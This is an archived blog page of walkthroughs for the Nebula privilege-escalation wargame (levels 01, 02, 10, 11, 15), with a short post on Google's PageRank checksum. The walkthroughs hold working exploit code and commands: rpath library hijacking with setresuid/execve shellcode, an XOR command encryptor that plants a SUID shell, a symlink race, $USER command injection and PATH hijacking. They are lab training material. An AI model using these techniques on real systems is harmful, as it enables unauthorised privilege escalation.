Showing posts with label c. Show all posts
Showing posts with label c. Show all posts

Monday, September 3, 2012

nebula level15

Level details:
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to "compile a shared library in linux" and how the libraries are loaded and processed by reviewing the dlopen manpage in depth. Clean up after yourself :)
Let's try running it before getting a strace, to see if we can get any other information out of it:
level15@nebula:~$ ~flag15/flag15
strace it!
Nope... Let's strace it then:
level15@nebula:~$ strace ~flag15/flag15
execve("/home/flag15/flag15", ["/home/flag15/flag15"], [/* 19 vars */]) = 0
brk(0)                                  = 0x9d1e000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb775f000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/i686/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/i686", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/tls/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/tls", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/i686/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/i686", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/sse2/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/sse2", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15/cmov", 0xbfdc6580) = -1 ENOENT (No such file or directory)
open("/var/tmp/flag15/libc.so.6", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)
stat64("/var/tmp/flag15", {st_mode=S_IFDIR|0775, st_size=4096, ...}) = 0
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=20413, ...}) = 0
mmap2(NULL, 20413, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb775a000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0000\226\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1713640, ...}) = 0
mmap2(NULL, 1723100, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x63e000
mmap2(0x7dd000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19f) = 0x7dd000
mmap2(0x7e0000, 10972, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7e0000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7759000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7759900, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0x7dd000, 8192, PROT_READ)     = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0x21d000, 4096, PROT_READ)     = 0
munmap(0xb775a000, 20413)               = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb775e000
write(1, "strace it!\n", 11strace it!
)            = 11
exit_group(11)                          = ?
That's weird, it tries to open() a bunch of libraries from /var/tmp/flag15 before actually mapping the executable contents into memory... Let's see what objdump gives us:
level15@nebula:~$ objdump -p ~flag15/flag15

/home/flag15/flag15:     file format elf32-i386

Program Header:
    PHDR off    0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2
         filesz 0x00000120 memsz 0x00000120 flags r-x
  INTERP off    0x00000154 vaddr 0x08048154 paddr 0x08048154 align 2**0
         filesz 0x00000013 memsz 0x00000013 flags r--
    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12
         filesz 0x000005d4 memsz 0x000005d4 flags r-x
    LOAD off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**12
         filesz 0x00000108 memsz 0x00000110 flags rw-
 DYNAMIC off    0x00000f20 vaddr 0x08049f20 paddr 0x08049f20 align 2**2
         filesz 0x000000d0 memsz 0x000000d0 flags rw-
    NOTE off    0x00000168 vaddr 0x08048168 paddr 0x08048168 align 2**2
         filesz 0x00000044 memsz 0x00000044 flags r--
EH_FRAME off    0x000004dc vaddr 0x080484dc paddr 0x080484dc align 2**2
         filesz 0x00000034 memsz 0x00000034 flags r--
   STACK off    0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**2
         filesz 0x00000000 memsz 0x00000000 flags rw-
   RELRO off    0x00000f0c vaddr 0x08049f0c paddr 0x08049f0c align 2**0
         filesz 0x000000f4 memsz 0x000000f4 flags r--

Dynamic Section:
  NEEDED               libc.so.6
  RPATH                /var/tmp/flag15
  INIT                 0x080482c0
  FINI                 0x080484ac
  GNU_HASH             0x080481ac
  STRTAB               0x0804821c
  SYMTAB               0x080481cc
  STRSZ                0x0000005a
  SYMENT               0x00000010
  DEBUG                0x00000000
  PLTGOT               0x08049ff4
  PLTRELSZ             0x00000018
  PLTREL               0x00000011
  JMPREL               0x080482a8
  REL                  0x080482a0
  RELSZ                0x00000008
  RELENT               0x00000008
  VERNEED              0x08048280
  VERNEEDNUM           0x00000001
  VERSYM               0x08048276

Version References:
  required from libc.so.6:
    0x0d696910 0x00 02 GLIBC_2.0

Ah, so the binary has been linked with -rpath. Easy enough, we'll have to roll our own libc.so.6 in /var/tmp/flag15 and make it give us a shell... Let's try just that:
level15@nebula:~$ mkdir /var/tmp/flag15/
level15@nebula:~$ pushd /var/tmp/flag15/
/var/tmp/flag15 ~
level15@nebula:/var/tmp/flag15$ cat > libc.c
#include <unistd.h>
#include <stdlib.h>

void __attribute__((constructor)) init()
{
        int euid = geteuid();

        setresuid(euid, euid, euid);
        system("sh");
}
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -o libc.so.6 libc.c
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /var/tmp/flag15/libc.so.6)
/home/flag15/flag15: relocation error: /var/tmp/flag15/libc.so.6: symbol geteuid, version GLIBC_2.0 not defined in file libc.so.6 with link time reference
Apparently there's some symbol versioning conflicts between the original libc and the one we just compiled. We'll have to get a shell without relying on the real libc, which means we'll have to write some shellcode :)
level15@nebula:/var/tmp/flag15$ cat > shell.S
.section .text
.globl shell
shell:
mov $49, %eax    # geteuid
int $0x80

mov %eax, %ebx
mov %eax, %ecx
mov %eax, %edx
mov $164, %eax    # setresuid
int $0x80

mov $sh_str, %ebx
xor %edx, %edx
push %edx
push %ebx
mov %esp, %ecx
mov $11, %eax      # execve
int $0x80

.section .data
sh_str: .ascii "/bin/sh\0"
And our constructor function:
level15@nebula:/var/tmp/flag15$ cat > libc.c
void shell(void);

void __attribute__((constructor)) init()
{
        shell();
}
Now let's compile it without linking to libc:
level15@nebula:/var/tmp/flag15$ gcc -shared -fPIC -nostdlib -o libc.so.6 libc.c shell.S
level15@nebula:/var/tmp/flag15$ ~flag15/flag15
/home/flag15/flag15: /var/tmp/flag15/libc.so.6: no version information available (required by /home/flag15/flag15)
sh-4.2$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)
sh-4.2$ getflag
You have successfully executed getflag on a target account
inc flags ;)

~ Dmitry

nebula level11

Level description:
The /home/flag11/flag11 binary processes standard input and executes a shell command.
Source code:

The binary reads a 'header' which is simply the length of the command to be executed, then the command, and then executes the command. The problem is that we need to encrypt the command we send. The decryption routine in the 'process' function is a simple stream cipher which uses XOR. The key is derived by the length and the plaintext:
void process(char *buffer, int length)
{
 unsigned int key;
 int i;

 key = length & 0xff;

 for(i = 0; i < length; i++) {
  buffer[i] ^= key;
  key -= buffer[i];
 }
        setgid(getgid());
        setuid(getuid());
 system(buffer);
}
So in order to encrypt the command, we need to know the length and the plaintext, which we both have beforehand.
Another thing to notice is that if we provide a command shorter than 1024 bytes, the fread call fails. This is because it specifies the size of an element as the whole command length, and tries to read 1 element. But then it checks whether fread returned 'length' elements or not. This isn't always possible. The fread call will only ever return 0 or 1. Now in the latter case, you could encrypt a 1-byte command and send it, but there's no NULL terminator after it (or other ways to discard the junk that follows).

The other branch of code reads our encrypted command in 1024 byte chunks. One 1024 byte is enough. Our encryption routine needs to derive the key and XOR it with the command bytes. As seen in the source code, the key is first set to the least significant byte of the command length, then it's subtracted the value of the last command byte encrypted. The command encryption code is as follows:
level11@nebula:~$ cat > pwn.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    int length = 1024;
    char buffer[1024];
    unsigned int key;
    int i;

    if(argc != 2)
        return EXIT_FAILURE;

    strncpy(buffer, argv[1], 1024);

    key = length & 0xff;
    for(i = 0; i < length; i++) {
        buffer[i] ^= key;
        key -= buffer[i] ^ key;
    }

    puts("Content-Length: 1024");
    fwrite(buffer, 1, length, stdout);

    return EXIT_SUCCESS;
}
level11@nebula:~$ make pwn
cc     pwn.c   -o pwn
Using it is indeed very easy. Keep in mind that because of the way the second code branch works, we need to specify the TEMP environment variable. This is where the flag11 binary will store the temporary file in which our command will be put.
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ ./pwn getflag | ~flag11/flag11
blue = 1024, length = 1024, pink = 1024
You have successfully executed getflag on a target account
But we won't be satisfied without a SUID shell :)
level11@nebula:~$ cat > /tmp/shell.c
#include <unistd.h>
#include <stdlib.h>

int main()
{
    int euid = geteuid();

    setresuid(euid, euid, euid);
    system("sh");
    return 0;
}
level11@nebula:~$ export TEMP=/tmp
level11@nebula:~$ ./pwn 'cc -o /tmp/flag11_sh /tmp/shell.c; chmod +s /tmp/flag11_sh' | ~flag11/flag11
blue = 1024, length = 1024, pink = 1024
level11@nebula:~$ /tmp/flag11_sh
sh-4.2$ id
uid=988(flag11) gid=1012(level11) groups=988(flag11),1012(level11)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Let's go get some other flags...

~ Dmitry

nebula level10

Level details:
The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call.
Source code:

This program's purpose is to send a file to the specified host, if you have read access to the file. The access check however, is implemented poorly. The access man page warns us that there might exist a race condition if the above check is implemented:
Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this reason, the use of this system call should be avoided. (In the example just described, a safer alternative would be to temporarily switch the process's effective user ID to the real ID and then call open(2).)
We need to read the ~flag10/token. In order to successfully exploit the flag10 binary, we will make it check the access of a symbolic link which is continuously changing from a legit file to ~flag10/token, in the hope that it will change from the legit file to the actual token file during the time between the access() system call and the open() system call.
level10@nebula:~$ while true; do ln -sf /dev/null token; ln -sf ~flag10/token token; done &
[1] 11039
level10@nebula:~$ nc.traditional -l -p 18211 > loot & # traditional netcat FTW!
[2] 14719
level10@nebula:~$ ~flag10/flag10 token 127.0.0.1
You don't have access to token
level10@nebula:~$ ~flag10/flag10 token 127.0.0.1
You don't have access to token
level10@nebula:~$ ~flag10/flag10 token 127.0.0.1
Connecting to 127.0.0.1:18211 .. Connected!
Sending file .. wrote file!
[2]+  Done                    nc.traditional -l -p 18211 > loot
level10@nebula:~$ kill -9 11039 # cleanup
level10@nebula:~$ cat fl
.oO Oo.
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
[1]+  Killed                  while true; do
    ln -sf /dev/null token; ln -sf ~flag10/token token;
done
Now go ahead and get the flag :)
level10@nebula:~$ su flag10 -c getflag
Password:
You have successfully executed getflag on a target account

~ Dmitry

Tuesday, August 7, 2012

nebula level02

level02 might look harder than level01 although the similar construct. Indeed, level02 uses an absolute path, eliminating the previous vulnerability:

Analyzing the source code, we can see that apart from setting all UIDs the same as EUID, level02 calls asprintf in order to dynamically build formatted data. More accurately, the format is "/bin/echo %s is cool". asprintf replaces "%s" with $USER from the environment variable.
The formatted data (held in buffer) is then passed as the argument to system().
Normally $USER holds the name of the currently logged in user, as one would expect. But we can set it to anything we want, therefore level02 is vulnerable to command injection.

Injecting commands into the vulnerable buffer

To specify another command to execute, we use ";" to separate the commands. Since we want a shell with the UIDs of flag02, as usual, we specify the next command to be sh. After that we can see from the format string that we are left with " is cool", which comes after our command. We want to ignore it, because it interferes with the command we want to inject, so we use "#" after our command, which means that everything that comes next is part of a comment and should not be considered by the shell.

Getting the flag

level02@nebula:~$ export USER='; sh #'
level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo ; sh # is cool")

sh-4.2$ id
uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
sh-4.2$ getflag
You have successfully executed getflag on a target account
And with that we have our third flag! :)

~ Dmitry

nebula level01

As usual, we log in as level01/level01 on the nebula VM and go to http://exploit-exercises.com/nebula/level01 for getting the level details. Apparently there is a vulnerable binary in /home/flag01 with the following source code:


Let's check /home/flag01:
level01@nebula:~$ ls -l /home/flag01
total 8
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
SUID binary, that must be it. Analyzing the source code, we see that the program is very straightforward. It Sets the Real, Effective and Saved UIDs the same as the Effective UID (you can look up what these do). This is so that the SUID process is now effectively running as if called by the owner (flag01).
After this, the program executes "/usr/bin/env echo and now what?". That looks kind of normal... So where's the vulnerability?
Well, as it turns out, when you invoke a program without specifying it's absolute path, linux will look for it in the $PATH environment variable. But $PATH is controlled by us, so what stops us from specifying our own path with a malicious 'echo' program in it? Nothing. Let's go ahead and do just that. Our malicious 'echo' will be simple: it will just launch a shell. Since it's called by user flag01, we will have the same privileges.
level01@nebula:~$ echo '/bin/sh' > /tmp/echo
level01@nebula:~$ chmod +x /tmp/echo
level01@nebula:~$ export PATH=/tmp:$PATH
level01@nebula:~$ /home/flag01/flag01
sh-4.2$ id
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
sh-4.2$ getflag
You have successfully executed getflag on a target account
Yay, another flag for us! :)

If you were wondering, /usr/bin/env is specified so that the shell treats echo as an actual program, not as the built-in command. If there were no built-in command, you could omit /usr/bin/env

Stay tuned!

~ Dmitry

Wednesday, August 1, 2012

Google PageRank checksum algorithm

The Google PageRank functionality in Google Toolbar works by querying Google's server for information on the PageRank of a specific page. This might seem easy enough to implement in your own program/website, but the problem is that the toolbar calculates a checksum on the page URL before querying the server, and the server only responds if the checksum is correct. Fortunately the checksum algorithm was reverse engineered from Google Toolbar 7. I was provided the hand decompiled version of the algorithm in C from a friend. Then I went ahead and rewrote it in PHP for web development usage. You can find both versions below.

As an example, the query URL for the page 'http://en.wikipedia.org/wiki/Cypherpunk' is http://toolbarqueries.google.com/tbr?client=navclient-auto&features=Rank&q=info:http://en.wikipedia.org/wiki/Cypherpunk&ch=783735859783

Any other query with a checksum other than 783735859783 will result in a '403 forbidden' response.
Enjoy.

C Version (original): PHP Version:

~ Dmitry